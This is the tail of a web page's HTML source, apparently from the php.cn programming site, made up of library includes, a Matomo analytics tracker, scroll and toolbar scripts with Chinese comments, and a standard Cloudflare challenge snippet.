'always'});$.getScript('/static/js/jquery.lazyload.min.js', function () {$("img").lazyload({placeholder: "/static/images/load.jpg", effect: "fadeIn", threshold: 200, skip_invisible: false});});});</script> <script src="/static/js/common_new.js"></script> <script type="text/javascript" src="/static/js/jquery.cookie.js?1759512498"></script> <link rel='stylesheet' id='_main-css' href='/static/css/viewer.min.css?2' type='text/css' media='all' /> <script type='text/javascript' src='/static/js/viewer.min.js?1'></script> <script type='text/javascript' src='/static/js/jquery-viewer.min.js'></script> <script type="text/javascript" src="/static/js/global.min.js?5.5.53"></script> <script> var _paq = window._paq = window._paq || []; /* tracker methods like "setCustomDimension" should be called before "trackPageView" */ _paq.push(['trackPageView']); _paq.push(['enableLinkTracking']); (function () { var u = "https://tongji.php.cn/"; _paq.push(['setTrackerUrl', u + 'matomo.php']); _paq.push(['setSiteId', '9']); var d = document, g = d.createElement('script'), s = d.getElementsByTagName('script')[0]; g.async = true; g.src = u + 'matomo.js'; s.parentNode.insertBefore(g, s); })(); </script> <script> // top layui.use(function () { var util = layui.util; util.fixbar({ on: { mouseenter: function (type) { layer.tips(type, this, { tips: 4, fixed: true, }); }, mouseleave: function (type) { layer.closeAll("tips"); }, }, }); }); document.addEventListener("DOMContentLoaded", (event) => { // 定义一个函数来处理滚动链接的点击事件 function setupScrollLink(scrollLinkId, targetElementId) { const scrollLink = document.getElementById(scrollLinkId); const targetElement = document.getElementById(targetElementId); if (scrollLink && targetElement) { scrollLink.addEventListener("click", (e) => { e.preventDefault(); // 阻止默认链接行为 targetElement.scrollIntoView({ behavior: "smooth" }); // 平滑滚动到目标元素 }); } else { console.warn( `Either scroll link with ID '${scrollLinkId}' or target element with ID '${targetElementId}' not found.` ); } } // 使用该函数设置多个滚动链接 setupScrollLink("Article_Details_main1L2s_1", "article_main_title1"); setupScrollLink("Article_Details_main1L2s_2", "article_main_title2"); setupScrollLink("Article_Details_main1L2s_3", "article_main_title3"); setupScrollLink("Article_Details_main1L2s_4", "article_main_title4"); setupScrollLink("Article_Details_main1L2s_5", "article_main_title5"); setupScrollLink("Article_Details_main1L2s_6", "article_main_title6"); // 可以继续添加更多的滚动链接设置 }); window.addEventListener("scroll", function () { var fixedElement = document.getElementById("Article_Details_main1Lmain"); var scrollTop = window.scrollY || document.documentElement.scrollTop; // 兼容不同浏览器 var clientHeight = window.innerHeight || document.documentElement.clientHeight; // 视口高度 var scrollHeight = document.documentElement.scrollHeight; // 页面总高度 // 计算距离底部的距离 var distanceToBottom = scrollHeight - scrollTop - clientHeight; // 当距离底部小于或等于300px时,取消固定定位 if (distanceToBottom <= 980) { fixedElement.classList.remove("Article_Details_main1Lmain"); fixedElement.classList.add("Article_Details_main1Lmain_relative"); } else { // 否则,保持固定定位 fixedElement.classList.remove("Article_Details_main1Lmain_relative"); fixedElement.classList.add("Article_Details_main1Lmain"); } }); </script> <script> document.addEventListener('DOMContentLoaded', function() { const mainNav = document.querySelector('.Article_Details_main1Lmain'); const header = document.querySelector('header'); if (mainNav) { window.addEventListener('scroll', function() { const scrollPosition = window.scrollY; if (scrollPosition > 84) { mainNav.classList.add('fixed'); } else { mainNav.classList.remove('fixed'); } }); } }); </script> </body> </html><script>(function(){function c(){var b=a.contentDocument||a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'988e27b73a50cc93',t:'MTc1OTUxMjQ5Nw=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script>